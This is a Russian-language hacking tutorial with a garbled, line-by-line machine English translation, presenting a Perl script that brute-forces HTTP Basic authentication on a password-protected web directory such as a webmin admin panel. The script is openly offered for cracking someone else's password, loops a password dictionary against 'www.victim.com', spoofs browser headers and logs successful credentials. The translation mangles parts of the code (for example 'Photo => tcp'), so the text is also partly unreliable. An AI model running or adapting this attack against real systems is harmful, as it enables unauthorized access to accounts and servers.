Существует несколько подходов к взлому чьего-либо пароля. There are several approaches to hacking someone's password. Самый «тупой» способ — брутфорс (последовательный перебор паролей по словарю, либо по предварительно сгенерированным паролем). The most "stupid" way - bruteforce (a serial search of passwords in the dictionary, or by pre-generated password). Данный способ актуален лишь тогда, когда других способов попросту нет. This method is relevant only when there is simply no other way. И работает он исключительно на удачу 😉 То есть, пароль может подобраться со второй попытки, либо через несколько лет. And it works exclusively for luck. That is, the password can be picked up from the second attempt, or in a few years. А может вообще не подобраться (по истечению словарного запаса =)). Or maybe not at all (after the expiration of vocabulary =)).
Еще одна слабость брутфорса — это медленная работа… Особенно, если ты на диалапе. Another weakness of bruteforce is slow work ... Especially if you are on a dialup. Да и сами виндовые брутфорсы глючат… Пока резолвнут адрес, пока сконнектятся, пока передадут/получат данные — пройдет довольно много времени. Yes, and the Windows brute-force bugs themselves ... As long as the address is resolved, until they connect, while they transfer / receive data - it will be quite a long time.
Дохлый номер… наверное подумаешь ты 😉 Но я тебя обрадую… Брутфорс дает хорошие плоды, если программа грамотно написана и запущена с *nix шелла, с хорошим каналом 😉 Чтобы удовлетворить эти 2 потребности потребуются два компонента: A dead number ... maybe you'll think ... But I'll cheer you up ... Brutfors gives good results if the program is correctly written and launched from * nix shell, with a good channel 😉 To meet these 2 needs, two components will be needed:
— Прямые руки - Straight arms
— *nix шелл с открытыми соединениями в internet + поддержка background processes - * nix shell with open connections to the internet + support for background processes
В общем-то достаточно… Таким образом, у нас два среды для написания брутфорса — Си и Перл. In general, it is enough ... Thus, we have two environments for writing bruteforce - C and Pearl. Как истинный фанат я остановлюсь на втором =) As a true fan I will stop on the second =)
Perl — установлен практически на любой linux-тачке, так что проблем с интерпретатором у нас не возникнет. Perl - installed on almost any linux-wheelbarrow, so we will not have problems with the interpreter.
Итак, пишем брутфорс, который подбирает пароль к запароленой директории на www (например webmin или radius-admin). So, we write a brute force that selects the password for the password-protected directory on www (for example, webmin or radius-admin). В этом случае имя пользователя должно быть известно. In this case, the user name must be known. Сущность www-авторизации (basic) была описана в предыдущих статьях (<URL>), так что повторяться не буду. The essence of www-authorization (basic) has been described in previous articles (<URL>), so I will not repeat myself.
Для создании MimeCode в Perl существует компонент MIME::Base64. To create a MimeCode in Perl, there is a MIME :: Base64 component. его мы и используем. we use it.
Итак, поехали: So, let's go:
#!/usr/bin/perl #! / usr / bin / perl
## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com ## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
use MIME::Base64; use MIME :: Base64;
use IO::Socket; use IO :: Socket;
use POSIX; use POSIX; ### Подрубаем модули POSIX, Socket и Base64 ### We are modifying POSIX, Socket and Base64 modules
$server=»www.victim.com»; $ server = »www.victim.com»; ### Удаленный сервер ### Remote server
$port=»80″; $ port = "80"; ### Удаленный порт ### Remote Port
$dir=»/admin»; $ dir = »/ admin»; ### Запароленная директория ### Password protected directory
$logfile=»sucess.log»; $ logfile = "sucess.log"; ### Логфайл, куда пишем пароль 😉 ### Logfile, where we write the password 😉
$log=»now.log»; $ log = »now.log»; ### Логфайл, куда пишем статус (что происходит в данную минуту) ### The logfile, where we write the status (what happens at the moment)
$words=»bigdict.txt»; $ words = »bigdict.txt»; ### Словарь (файл с паролями) ### Dictionary (file with passwords)
$user=»admin»; $ user = "admin"; ### Имя пользователя ### Username
open(file, «$words») or die print «$!\n»; open (file, "$ words") or die print "$! \ n";
@data=<file>; @ data = <file>;
$total=@data; $ total = @ data;
close file; close file; ### Записываем все пароли в один массив ### Write all the passwords into one array
$i=0; $ i = 0;
foreach $pass (@data) { foreach $ pass (@data) {
$i++; $ i ++;
chomp($pass); chomp ($ pass);
open(file, «>$log») or die print «$!\n»; open (file, "> $ log") or die print "$! \ n";
$perc=($i*100)/$total; $ perc = ($ i * 100) / $ total;
$perc=ceil($perc); $ perc = ceil ($ perc); ### Высчитываем процент ### Calculate the percentage
print file «$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n»; print file "$ perc \% Done \ t $ i of $ total \ t \ tNow: $ user \: $ pass \ n"; ### Пишем в лог статус ### We write to the log status
close file; close file;
$auth=encode_base64(«$user\:$pass»); $ auth = encode_base64 ("$ user \: $ pass"); ### Создаем Mime-хеш ### Creating a Mime-hash
chomp($auth); chomp ($ auth);
$socket=IO::Socket::INET->new( PeerAddr => $server, $ socket = IO :: Socket :: INET-> new (PeerAddr => $ server,
PeerPort => $port, PeerPort => $ port,
Photo => tcp) ### Порождаем сокет Photo => tcp) ### Generating a socket
or die print «Unable to connect to $server:$port\n»; or die print "Unable to connect to $ server: $ port \ n";
print $socket «GET $dir HTTP/1.1\n»; print $ socket "GET $ dir HTTP / 1.1 \ n";
print $socket «Host: $server\n»; print $ socket "Host: $ server \ n";
print $socket «Accept: */*\n»; print $ socket "Accept: * / * \ n";
print $socket «Referer: http://support.microsoft.com/\n»; print $ socket "Referer: http://support.microsoft.com/\n";
print $socket «User-Agent: Internet Explorer 6.0\n»; print $ socket "User-Agent: Internet Explorer 6.0 \ n";
print $socket «Pragma: no-cache\n»; print $ socket "Pragma: no-cache \ n";
print $socket «Cache-Control: no-cache\n»; print $ socket "Cache-Control: no-cache \ n";
print $socket «Authorization: Basic $auth\n»; print $ socket "Authorization: Basic $ auth \ n";
print $socket «Connection: close\n\n»; print $ socket "Connection: close \ n \ n"; ### Отправляем http-данные + Mime-хеш ### Sending http-data + Mime-hash
$ans=<$socket>; $ ans = <$ socket>; ### Получаем ответ от сервера ### Receiving a response from the server
if ($ans=~/200 Ok/i) { if ($ ans = ~ / 200 Ok / i) {
open(logf, «>>$logfile») or die print «$!\n»; open (logf, ">> $ logfile") or die print "$! \ n"; ### Если пароль верный — пишем в success-лог ### If the password is correct - write to success-log
print logf «$user:$pass is OK!!!\n»; print logf "$ user: $ pass is OK !!! \ n";
close logf; close logf;
exit 0; exit 0; ### Выходим 😉 ### Leave 😉
} }
} }
Таким образом брутфорс будет работать пока не закончится словарь с паролями, либо пока пароль не подберется: все зависит от удачи 😉 Thus, the brute force will work until the dictionary with passwords is finished, or until the password is selected: everything depends on luck 😉








